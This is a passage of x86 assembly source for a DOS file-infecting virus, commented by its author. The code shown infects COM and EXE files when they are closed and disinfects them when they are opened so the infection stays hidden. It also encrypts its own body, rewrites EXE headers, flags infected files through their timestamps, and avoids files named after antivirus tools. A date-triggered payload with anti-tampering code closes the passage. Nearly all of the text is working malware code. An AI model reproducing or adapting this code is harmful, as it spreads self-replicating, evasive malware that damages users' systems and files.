2Fh ; call multiplex Pop bx ; restore file handler Add di, 02h ; set file to Mov Word Ptr es:[di], 0002 ; read/write Add di, 02h ; reset file attributes Mov Byte Ptr es:[di], 0 Sub di, 04h Add di, 0Dh ; unmask seconds Mov dx, Word Ptr es:[di] Mov Word Ptr cs:[Time], dx ; save seconds Add di, 2 ; unmask day Mov cx, Word Ptr es:[di] Mov Word Ptr cs:[Date], cx ; save day Sub di, 0Fh ; now make DI point Add di, 20h ; to the filename Add di, 8 Cmp Word Ptr es:[di], 'OC' ; check if it's a COM Jne TRY_AGAIN Cmp Byte Ptr es:[di+2], 'M' Je GOOD_FILE1 TRY_AGAIN: Cmp Word Ptr es:[di], 'XE' ; or an EXE ? Jne CLOSING_INFECTION_ERROR Cmp Byte Ptr es:[di+2], 'E' Jne CLOSING_INFECTION_ERROR Jmp GOOD_FILE1 GOOD_FILE1: Pusha Push si di es ds Sub di, 8 ; now I'm about to extract the filename Mov si, di Lea di, File ; into the `file' address Mov cx, 8 ; max. 8 chars LOOP_1: Cmp Byte Ptr es:[si],' ' ; check if i'm over Je OVER1 Mov ah, Byte Ptr es:[si] ; else get a byte Mov Byte Ptr cs:[di], ah ; and put a byte Inc si Inc di Loop LOOP_1 OVER1: Mov Byte Ptr cs:[di],'.' ; put the name/extension separator Inc di Inc si Mov cx, 8 ; and start taking out the extension LOOP_3: Cmp Byte Ptr es:[si],' ' ; increment SI Jne OK_2 ; until no more spaces found Inc si Loop LOOP_3 OK_2: Mov cx, 3 ; now SI points to extension LOOP_2: Mov ah, Byte Ptr es:[si] ; same thing: take / put Mov Byte Ptr cs:[di], ah Inc si Inc di Loop LOOP_2 OVER2: Mov Byte Ptr cs:[di],0 ; and add a final 0 to make it ASCIIZ Pop ds es di si ; restore 'em Popa Push cs ; now make DS:DX point to Pop ds ; the filename Lea dx, File Call CHECKFILE ; checkit ;) Jc CLOSING_INFECTION_ERROR Pop ds es di si ; restore 'em Popa Call INFECT_CLOSING ; call the infection procedure Jmp INT21ORIG ; good bye, baby... CLOSING_INFECTION_ERROR: Pop ds es di si ; restore 'em Popa Jmp INT21ORIG ; good bye, baby... ;.---------------------------------------------------------------------------. ;| In this area I handle the file openings | ;`---------------------------------------------------------------------------' ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Handles opened files via Int 21h / 6Ch ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² OPEN_FILE_EXTENDED: Pusha Push ds es di si bp Push si ; simply put SI into DX as in 6Ch the Mov dx, si ; filename is pointed by DS:SI (why ???) Call CHECKNAME ; check if it's EXE or COM Jnc NO_EXECUTABLE1 Call CHECK_IF_EXIST ; does the file really exists ? ; (I need this because if file does not ; exist but it's created by 6Ch an error ; pops up) Jnc NO_FILE Call DISINFECT ; disinfect it before open ! NO_EXECUTABLE1: NO_FILE: Pop si bp si di es ds Popa Jmp INT21ORIG ; go away ! ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Handles opened files via Int 21h / 3Dh ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² OPEN_FILE_HANDLER: Pusha Push ds es di si bp Call CHECKNAME ; this is classical: check it Jnc NO_EXECUTABLE Call DISINFECT ; and disinfect it NO_EXECUTABLE: Pop bp si di es ds Popa Jmp INT21ORIG ; and then allow open ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Disinfects file at DS:DX (not already oppened !!) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²\ DISINFECT: Pusha Push es ds si di bp ; The next line are useful only if the disinfection on open is ON. As under ; W95 hooking 3Dh hangs the system, that feature is not available, making the ; checking for archiver redundant. If you set 3Dh ON then remove the colons ; before the next 2 lines. ; Call CHECKARCHIVER ; is the running process an archiver ? ; Jc FINITO2 ; if so, don't disinfect Call SET_INT24 ; as I'll be reading/writing I need to ; set the Errors handler Mov ax, 3D02h ; open the file Call DOS_INT_21 Jc _ERROR Mov bx, ax ; and save file handler Push bx ; save file handler Mov ax,1220h ; get job file table! Int 2Fh ; call multiplex ; es:di=JFT for handler Mov ax,1216h ; get system file table Mov bl,Byte Ptr es:[di] ; bl=SFT entry Int 2Fh ; call multiplex Pop bx ; restore file handler Push bx Add di, 02h ; set file for Mov Word Ptr es:[di], 0002 ; read/write Add di, 02h ; reset file attributes Mov Byte Ptr es:[di], 0 Sub di, 04h Mov ax, 5700h ; get date/time Int 21h Call CHECK_STAMP Jc NOT_NECESSARY Mov ax, 4200h ; move pointer to beginning of file Call MOV_PTR Mov ah, 3Fh ; and read from file Push cs Pop ds Lea dx,cs:[Compare_buf] ; into the compare buffer Mov cx, 46h ; 46h bytes Call DOS_INT_21 Cmp Word Ptr cs:[Compare_buf],5A4Dh ; check if EXE Je DISINFECT_EXE ; and do so... Cmp Word Ptr cs:[Compare_buf],4D5Ah ; Je DISINFECT_EXE ; DISINFECT_COM: Mov ah, Byte Ptr cs:[Compare_buf+3] ; look if file is really infected Cmp ah, 'V' ; or it was only a coincidence Jne NOT_NECESSARY ; we don't want to disinfect ; uninfected files ;-) Mov ax, 4202h ; move pointer to end of file Call MOV_PTR Sub ax, ENDING - START ; calculate virus position Mov dx, ax Mov cx, 0 Mov ax, 4200h ; and move pointer Int 21h ; to the virus start Mov ah, 3Fh ; read the virus at the end of CS + 50 Push cs Pop ds Lea dx, cs:[ENDING] Add dx, 50 Mov cx, ENDING - START Call DOS_INT_21 Call DECRYPT_ENCRYPT ; decrypt the virus there Mov di, Offset ENDING ; make DI point to the `olddate' at Add di, Offset Olddate ; the end of my code Add di, 50 ; +50 (cose I want so - Tribute to NRLG) Sub di, 100h ; -100h to align Mov dx, Word Ptr cs:[di] ; take seconds Add di, 2 Mov cx, Word Ptr cs:[di] ; and day push cx push dx Mov di, Offset ENDING ; now go into the buffer there Add di, Offset Buffer Sub di, 100h Add di, 50 Mov ax, 4200 ; go to beginning of file Call MOV_PTR Mov cx, 6 ; write back the Push cs ; first 3 words Pop ds ; I ripped Mov dx, di Mov ah, 40h Int 21h Mov ax, 4202h ; now move to end of host Call MOV_PTR Sub ax, ENDING - START ; again move to virus location Mov dx, ax Mov cx, 0 ; Mov ax, 4200h Int 21h Mov ah, 40h ; and truncate host Mov cx, 0 ; CX=0 -> truncate file at pointer Int 21h ; (virus is now gone!) pop dx pop cx mov ax, 5701h int 21h Jmp FINITO ; over here ! DISINFECT_EXE: Mov ah, Byte Ptr cs:[Compare_buf+1Ch] ; go to the 1Ch byte Cmp ah, 'V' ; to see if file is really Jne NOT_NECESSARY ; infected Cmp Word Ptr cs:[Compare_buf+44h], 'NE' ; if it's a NewExe, Je NOT_NECESSARY ; just go away ! Cmp Word Ptr cs:[Compare_buf+44h], 'EN' Je NOT_NECESSARY Mov ax, 4202h ; and the things go now Call MOV_PTR ; just like for the COMs Sub ax, ENDING - START Mov cx, dx Mov dx, ax Mov ax, 4200h Int 21h Mov ah, 3Fh ; read the virus at the end of CS Push cs Pop ds Lea dx, cs:[ENDING] Add dx, 50 Mov cx, ENDING - START Call DOS_INT_21 Call DECRYPT_ENCRYPT ; again, decrypt the virus Mov di, Offset ENDING Add di, Offset Olddate Add di, 50 Sub di, 100h Mov dx, Word Ptr cs:[di] Add di, 2 Mov cx, Word Ptr cs:[di] push cx push dx Mov di, Offset ENDING Add di, Offset Buffer Sub di, 100h Add di, 50 Mov ax, 4200 ; go to beginning of file Call MOV_PTR Mov cx, 20h ; write back the Push cs ; first 20h bytes Pop ds Mov dx, di Mov ah, 40h Int 21h Jc _ERROR Mov ax, 4202h ; now move to end of host Call MOV_PTR Sub ax, ENDING - START Mov cx, dx Mov dx, ax Mov ax, 4200h Int 21h Mov ah, 40h ; and truncate host Mov cx, 0 ; (eliminates virus) Int 21h pop dx pop cx Mov ax, 5701h Int 21h jmp finito _ERROR: NOT_NECESSARY: FINITO: Pop bx ; restore file handler Mov ah, 3Eh ; and close the file Call DOS_INT_21 Call RESTORE_INT24 ; restore errors handler now FINITO2: Pop bp di si ds es Popa Ret ; and return ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Infects file with handle in BX (already oppened !!) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² INFECT_CLOSING: Pusha ; I save the regs... Push es ds si di bp ; nottice that file attributes are ; already normal... check out up above ; I set them to normal thru SFT's Mov Word Ptr cs:[Handle], bx ; save handle Call SET_INT24 ; take care of 'Abort, Retry, Fail' Mov ax, 4200h ; move pointer to beginning of file Call MOV_PTR Jc ERROR Mov ah, 3Fh ; read from file Mov cx, 46h ; the header = 46h Push cs Pop ds Lea dx, cs:[Buffer] Call DOS_INT_21 ; call Bios Int 21h Jc ERROR Mov ax, 5700h ; save olddate and time Int 21h Mov Word Ptr cs:[Olddate], dx Mov Word Ptr cs:[Oldtime], cx Mov Word Ptr cs:[Date], dx Mov Word Ptr cs:[Time], cx Call CHECK_STAMP Jnc ALREADY_DONE Cmp Word Ptr cs:[Buffer], 5A4Dh ; is it an EXE file ? Je INFECT_EXE Cmp Word Ptr cs:[Buffer], 4D5Ah ; is it an EXE file ? Je INFECT_EXE INFECT_COM: ; The Com infector Push cs Pop ds Mov ax, 4202h ; go to end of file Call MOV_PTR ; DX:AX = file length Jc ERROR ; cmp ax, 0FFFFh-virlen ; is there enough room for virus ? ; jg error ; cmp ax, 1000h ; is file bigger then 4096 bytes ? ; jl error Sub ax, 3 ; calculate length of COM host Add ax, (Offset TRICKY_ENTRY - Offset START) ; tricky entry point Mov Word Ptr cs:[Hostlen], ax Mov ax,4200h ;move the pointer Call MOV_PTR ;to start of file Jc ERROR Mov ah,40h ; Mov cx,1 ; write the JMP Lea dx,cs:[Jump] ; instruction in the Call DOS_INT_21 ; fist byte of the file Jc ERROR Mov ah,40h ; write the value of jmp Mov cx,2 ; in the file = length of host - 3 + entry len Lea dx,cs:[Hostlen] ; as saved in hostlen variable Call DOS_INT_21 Jc ERROR Mov ah, 'V' ; infection marker Mov Byte Ptr cs:[Address], ah ; mark as infected Mov ah, 40h ; now write it to file Mov cx, 2 Lea dx, cs:[Address] Call DOS_INT_21 Jc ERROR Mov ax, 4202h ; prepare to write virus Call MOV_PTR Jc ERROR Pushf ; now I have to save the registers on Pusha ; the stack because I'll Push bp di si es ds ; destroy them Call MOVEVIRUS ; move virus to end of cs Call DECRYPT_ENCRYPT ; and encrypt it Pop ds es si di bp ; now restore the registers Popa Popf ; and the flags Call WRITEVIRUS ; call the routine to write the virus to file Jc ERROR ; error... it happens! Mov dx, Word Ptr cs:[Date] Mov cx, Word Ptr cs:[Time] Call MARK_STAMP Jc ERROR Jmp STOPIT ; we are over ! INFECT_EXE: ; The EXE infector Cmp Word Ptr cs:[Buffer+12h], 'V' ; check if infected ? Je ALREADY_DONE ; already infected ! Cmp Word Ptr cs:[Buffer+1Ah], 1 ; check if Je ERROR ; exe has overlays (which is ; bad, BTW) Cmp Word Ptr cs:[Buffer+44h],'EN' ; can't handle New Exes now Je ERROR Cmp Word Ptr cs:[Buffer+44h],'NE' ; can't handle New Exes now Je ERROR Mov ax, 4202h ; move pointer to end of file Call MOV_PTR Mov Word Ptr cs:[Filesize ], ax ; save filesize from DX:AX Mov Word Ptr cs:[Filesize+2], dx ; into `filesize' ; cmp ax, 2000h ; is host > 2000h bytes ? ; jl error Les ax, Dword Ptr [Buffer+14h] ; Save old entry point Mov Word Ptr [Jmpsave], ax ; in `jmpsave2' Mov Word Ptr [Jmpsave+2], es Les ax, Dword Ptr [Buffer+0Eh] ; Save old stack Mov Word Ptr [Stacksave],es ; in `stacksave2' Mov Word Ptr [Stacksave+2], ax Pushf ; now I have to save the registers on Pusha ; the stack because I'll Push bp di si es ds ; destroy them Call MOVEVIRUS ; move virus to end of cs to encrypt Call DECRYPT_ENCRYPT ; and encrypt it Pop ds es si di bp ; now restore the registers Popa Popf ; and the flags Pushf ; now I have to save the registers on Pusha ; the stack because I'll Push bp di si es ds ; destroy them Mov ax, 4202h Call MOV_PTR Mov bx, Word Ptr cs:[Handle] Call WRITEVIRUS ;call the routine to write the virus to file Jc ERROR Pop ds es si di bp ;now restore the registers Popa Popf ;and the flags Mov ax, Word Ptr cs:[Filesize ] ; restore filesize in DX:AX Mov dx, Word Ptr cs:[Filesize+2] Mov bx, Word Ptr cs:[Buffer+08h] ; get header size, Mov cl, 4 ; convert it to bytes Shl bx, cl Sub ax, bx ; substract header size Sbb dx, 0 ; from filesize Call DIV_16 ; convert to seg:offs ; div by 16 add dx, (offset tricky_entry - start) ; tricky entry Mov Word Ptr [Buffer+14h], dx ; New entry point Mov Word Ptr [Buffer+16h], ax Mov Word Ptr [Buffer+0Eh], ax ; and stack (same segment) Add dx, (ENDING-START)+100h ; SP = IP + virus_size + 256 Mov ax, dx ; now I look and see if... Shr ax, 1 ; (this is ax / 2) Shl ax, 1 ; (this is ax * 2) Cmp ax, dx ; ...I got an odd SP Je OK_1 Inc dx ; if so, just add 1 OK_1: Mov Word Ptr [Buffer+10h], dx ; New SP Mov ax, Word Ptr cs:[Filesize ] ; restore filesize in DX:AX Mov dx, Word Ptr cs:[Filesize+2] ; Add ax, ENDING-START ; add virus size Adc dx, 0 ; propagate carry Mov cl, 9 ; 2^9 = 512 Push ax ; make filesize in pages Shr ax, cl Ror dx, cl Stc Adc dx, ax ; filesize in pages Pop ax And ah, 1 ; mod 512 Mov Word Ptr [Buffer+4h], dx ; new file size Mov Word Ptr [Buffer+2h], ax ;now I correct a possible error given by a MINMEM > MAXMEM Add Word Ptr cs:[Buffer+0Ah],(ENDING-START)/16+1 ;min para Mov ax,Word Ptr cs:[Buffer+0Ah] ;ax=min para needed Cmp ax,Word Ptr cs:[Buffer+0Ch] ;cmp with max para Jb SIZE_OK ;it's ok! Mov Word Ptr cs:[Buffer+0Ch], ax ;nope, enter new max SIZE_OK: Mov Byte Ptr cs:[Buffer+1Ch], 'V' ;mark as infected Mov ax, 4200h ; move pointer to beginning of file Mov bx, Word Ptr cs:[Handle] ; restore lost handle Call MOV_PTR Mov ah,40h ; Write NEW EXE Header back Mov dx,Offset ds:[Buffer] ; to EXE File ! Mov cx,20h ; Now the virus is at CS:IP Call DOS_INT_21 Jc ERROR Mov dx, Word Ptr cs:[Date] Mov cx, Word Ptr cs:[Time] Call MARK_STAMP Jc ERROR Jmp STOPIT An_error Db 0 ; error flag ERROR: Mov Byte Ptr cs:[An_error], 1 ; sets error flag Jmp STOPIT NOERROR: Mov Byte Ptr cs:[An_error], 0 ; clear error flag ALREADY_DONE: STOPIT: ; we are over Mov Byte Ptr cs:[An_error], 0 ; clear error flag Call RESTORE_INT24 ; restore errors handler Pop bp di si ds es Popa Ret ; and return ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-; ; HERE STARTS THE PART WITH GENERAL USE ROUTINES ; ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-; ;----------------------------------------------------------------------------; ; This procedure gets the name of the running process ; ;----------------------------------------------------------------------------; GETNAME: Mov ah, 62h ; get PSP of the running program Call DOS_INT_21 Mov ds, bx ; ES = PSP Mov ax, Word Ptr ds:[2Ch] Mov ds, ax ; DS = DOS Environment string Segment Mov si, 0 ; start locating filename JUMP1: Mov ah, Byte Ptr ds:[si] Cmp ah, 0 ; first I look for a 0 Jne NOWAY Mov al, Byte Ptr ds:[si+1] ; if I find it Cmp al, 0 ; I check for another 0 Je YEP ; if it's here, I got it ! NOWAY: Inc si Jne JUMP1 YEP: Inc si Inc si ; start taking out filename Cmp Word Ptr ds:[si], 0001h ; check if I'm OK (0001h is classical) Jne ERROR1 ; ...something's rotten Inc si Inc si Push cs Pop es Mov di, Offset Endfile ; now I start taking the filename into Mov cx, 128 ; `endfile' address. (max. 128 chars) JUMP2: Mov ah, Byte Ptr ds:[si] ; and take a byte... Cmp ah, 0 ; check if it's over Je NOMORELOOP Mov es:[di], ah ; and put a byte Inc di Inc si Loop JUMP2 NOMORELOOP: Mov Byte Ptr es:[di], 0 ; put the last 0 just to be sure ! Push cs ; now I make DS:DX point to the Pop ds ; ASCIIZ string `endfile' Mov dx, Offset Endfile Clc ; and clear Carry as all is OK ! Ret ERROR1: Stc ; set carry for error Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Copies the virus to end of file from my CS + 50 ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² WRITEVIRUS: Mov ah,40h ; Mov cx,Offset ENDING - Offset START ; copy the virus Mov dx,Offset ENDING + 50 ; to end of file from cs + 50 Call DOS_INT_21 Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Save and set the Dos Error Handler (Int 24) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² SET_INT24: Cli Pusha Push ds Push es Push cs ; get DS=CS Pop ds ; Mov ax,3524h ; get the dos error control Int 21h ; interrupt Mov Word Ptr Errorh,es ; and put it in cs:error Mov Word Ptr Errorh+2,bx ; Mov ax,2524h ; change the dos error control Mov dx,Offset INT24 ; so I don't get 'Abort, Retry, Ignore' Int 21h ; Pop es Pop ds Popa Sti Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Restore the Dos Error Handler (Int 24) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² RESTORE_INT24: Cli Pusha Push ds Mov ax,2524h ; Lea bx,Errorh ; restore the Mov ds,bx ; errors handler Lea bx,Errorh+2 ; Int 21h ; Pop ds Popa Sti Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Move the pointer in the file ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² MOV_PTR: Xor cx, cx Xor dx, dx Int 21h Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Int 24 handler ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² INT24: Xor al, al Iret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Moving the virus to end of cs + 50 ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² MOVEVIRUS: Push cs ; Pop ds ; move the code Push cs ; of my virus Pop es ; to the end of my memory + 50 Cld ; Mov si,100h ; Mov di,Offset ENDING + 50 ; so that I can encrypt it down there Mov cx,Offset ENDING - 100h ; Rep Movsb ; Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Checks if file at DS:DX really exists ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² CHECK_IF_EXIST: Pusha Mov ax, 3D02h ; try to open file at DS:DX Call DOS_INT_21 Jc FILE_DOES_NOT_EXIST ; if CF is set there was an error FILE_EXISTS: Mov bx, ax ; if no error encountered then Mov ah, 3Eh ; close file Call DOS_INT_21 Stc ; and exit with Carry Set Popa Ret FILE_DOES_NOT_EXIST: Clc ; else exit with carry cleared (error) Popa Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; This is the file checkers area ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² TABLE1: ; this is the table with program names Db 7,'COMMAND' ; I don't want to infect Db 8,'DSOLOMON' Db 3,'AVP' Db 7,'VSHIELD' Db 7,'VIRSTOP' Db 2,'TB' Db 2,'F-' Db 4,'SCAN' Db 5,'CLEAN' Db 3,'RAV' Db 3,'AVX' Db 5,'VSAFE' Db 0 TABLE2: ; this is the table with archiving utilities' Db 3,'RAR' ; names Db 3,'ARJ' Db 5,'PKZIP' Db 2,'UC' Db 3,'LHA' Db 8,'UUENCODE' Db 6,'PKLITE' Db 4,'DIET' Db 8,'TINYPROG' Db 8,'COMPRESS' Db 3,'AIN' Db 0 TABLE3: ; this is the table with the disk utilities Db 8,'SCANDISK' Db 6,'CHKDSK' Db 8,'SPEEDISK' Db 2,'SD' Db 6,'DEFRAG' Db 3,'NDD' Db 8,'DISKEDIT' Db 0 Flag Db 0 ; marks what table to use CHECKFILE: Mov Flag, 1 Jmp START_CHECK CHECKARCHIVER: Mov Flag, 2 push ds dx call getname Jmp START_CHECK CHECKDISKUTIL: Mov Flag, 3 push ds dx call getname START_CHECK: Pusha ; save registers to be lost Push ds es di si Push cs Pop es Call UPPERCASE ; convert string at DS:DX to uppercase Mov si, dx ; SI=DX Mov cx, 128 ; CX=max file name AG1: Cmp Byte Ptr ds:[si],'.' ; did I reach the '.' in filename ? Je DONE ; yeah! Cmp Byte Ptr ds:[si],0 ; or maybe a 0 Je DONE ; yeah! Inc si ; otherwise Loop AG1 ; LOOP! Dec si ; now dec SI to point to the last Mov cx, 128 ; character in the filename DONE: Cmp Byte Ptr ds:[si], '\' ; and start looking for '\' Je DONE2 Cmp si, dx ; or for the begining Je DONE3 Dec si Loop DONE DONE2: Inc si ; if I am at '\', add 1 DONE3: Xor cx, cx ; and all the stuff above made my SI Push si ; point to the first character of the ; filename (I push SI to preserve addr.) Cmp Flag, 1 ; now make DI point to the proper table Jne NOTTABLE1 Mov di, Offset TABLE1 Jmp REPEAT1 NOTTABLE1: Cmp Flag, 2 Jne NOTTABLE2 Mov di, Offset TABLE2 Jmp REPEAT1 NOTTABLE2: Mov di, Offset TABLE3 REPEAT1: Mov cl, Byte Ptr cs:[di] ; CL = length of string to compare to Inc di ; jump over that Rep Cmpsb ; and comp. str. at SI with the one at DI Je DONE4 Pop si ; SI = filename again Push si ; PUSH to preserve Add di, cx ; DI = DI + remainder after compare Cmp Byte Ptr cs:[di],0 ; is it the end ? Je DONE5 ; yeah ! Jmp REPEAT1 ; no ! repeat, please! DONE4: Stc ; set carry to mark that the filename Jmp DONE6 ; contains suspicious characters DONE5: Clc ; or clear it if it's ok! DONE6: Pop si si di es ds Popa cmp flag, 1 je done7 pop dx ds done7: Ret ; and return ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Procedure to divide by 16 without any overflow errors ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² DIV_16: Push cx bx ax ; this procedure divides dword at DX:AX And ax, 0000Fh ; by 16 using only shifting so no Mov bx, ax ; Divide Overflow will pop up Pop ax Mov cl, 04h Shr ax, cl Mov cl, 0Ch Shl dx, cl Or ax, dx Mov dx, bx Pop bx cx Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Checks if file at DS:DX is EXE or COM ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² CHECKNAME: Push cx Push si Call UPPERCASE Mov si, dx ; si points to name Mov cx, 128 ; maximum 128 bytes CHECKAGAIN: Cmp Byte Ptr ds:[si], 0 ; check until 0 is reached Je ALLRIGHT ; I'm there... Inc si Loop CHECKAGAIN ALLRIGHT: Pop cx Sub si, 3 ; make it point to the begining of ext. Cmp Word Ptr ds:[si], 'XE' ; is it `EXE' ? Jne EX1 Cmp Byte Ptr ds:[si+2], 'E' Jne EX1 Jmp GOOD_FILE ; YEAH ! EX1: Cmp Word Ptr ds:[si], 'OC' ; If not, maybe `COM' Jne EX4 Cmp Byte Ptr ds:[si+2], 'M' Jne EX4 Jmp GOOD_FILE ; Sure, baby ! GOOD_FILE: Stc ; set carry for good file Jmp BYE EX4: Clc ; clear carry for bad file BYE: Pop si Ret ; wooh ! get back ! ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; The Random Number Generator ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² Rand_seed Dw 0 RANDOMIZE: ; procedure to start the Push cx dx ; random generator Xor ah,ah ; get timer count Int 1Ah Mov cs:[bp + Rand_seed],dx ; and save it Xchg ch,cl Add cs:[bp + Rand_seed_2],cx Pop dx cx Ret ;----------------------------------------------------------------------------- _RANDOM: ; the random number generator In al,40h ; timer, for random nr Sub ax,cs:[bp + Rand_seed] Db 35h ; XOR AX, Rand_seed_2 Dw 0 ; what is here Inc ax Add cs:[bp + Rand_seed],ax ; change seed Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Routine to UpperCase string at DS:DX ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² UPPERCASE: Pusha Push ds es di si Mov ax, ds ; make source = DS:SI = DS:DX Mov es, ax ; make destination = ES:DI = DS:DX Mov si, dx Mov di, dx Mov ax, 1211h ; and call the multiplex interrupt Int 2Fh ; to do it Pop si di es ds Popa Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; The Set Time Stamp routine (assumes CX = time, DX = date) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² MARK_STAMP: Push dx Mov ax, dx And ax, 001Fh ; ax = day And dx, 01E0h Shr dx, 5 ; dx = month Add ax, dx Shr ax, 1 ; ax = (day+month)/2 And cx, 0FFE0h Or cx, ax ; and set seconds = ax Pop dx ; restore date Mov ax, 5701h ; and set them ! Int 21h ; (mark as infected) Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; The Check Time Stamp routine (assumes CX = time, DX = date) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² CHECK_STAMP: Push ax Push bx Mov ax, dx Mov bx, dx And ax, 001Fh ; ax = day And bx, 01E0h Shr bx, 5 ; bx = month Add ax, bx Shr ax, 1 ; ax = (day+month)/2 Mov bx, cx And bx, 001Fh ; bx = seconds Cmp bx, ax ; seconds = (day+month)/2 ? Jne NO_STAMP Clc Jmp OVER_CHECK_STAMP NO_STAMP: Stc OVER_CHECK_STAMP: Pop bx Pop ax Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; The PAYLOAD ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² PAYLOAD: Pusha Push ds Push es ; This little thing here looks if someone tried to remove the patch above ; in the first lines mov ax, word ptr cs:[bp + offset pint] ; AX = 0C72Eh lea bx, [bp + offset armour_patch - 0C72Eh] ; BX = armour_patch-0C72Eh add ax, bx ; AX = armour_patch jo fool jmp ax ; JMP armour_patch fool: sub ax, 10 armour_patch: Mov ah, 2Ah ; get day Int 21h Cmp dl, 7 ; is day 7 ? Jne NO_PAYLOAD Mov ah, 2Ch ; if it is then get hour Int 21h Cmp cl, 14 ; is it past 2 o'clock ? Jng NO_PAYLOAD ;then it's payload time: Jmp PRINTSTUFF Pltext Db 0Ah, 0Dh Db 0Ah, 0Dh 